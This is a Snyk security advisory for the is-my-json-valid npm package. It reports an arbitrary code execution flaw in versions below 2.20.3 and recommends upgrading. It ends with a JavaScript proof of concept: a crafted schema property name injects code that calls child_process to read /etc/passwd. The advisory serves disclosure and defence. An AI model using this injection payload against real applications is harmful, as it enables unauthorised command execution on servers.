Arbitrary Code Execution Affecting is-my-json-valid package, versions <2.20.3


0.0
high

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-ISMYJSONVALID-597167
  • published 2 Aug 2020
  • disclosed 31 Jul 2020
  • credit chalker

Introduced: 31 Jul 2020

CVE NOT AVAILABLE CWE-94 Open this link in a new tab

How to fix?

Upgrade is-my-json-valid to version 2.20.3 or higher.

Overview

is-my-json-valid is a JSONSchema / orderly validator that uses code generation to be extremely fast.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName function.

##PoC

const schema = {
  type: 'object',
  properties: {
    'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
      required: true,
      type:'string'
    }
  },
}
var validate = validator(schema);
validate({})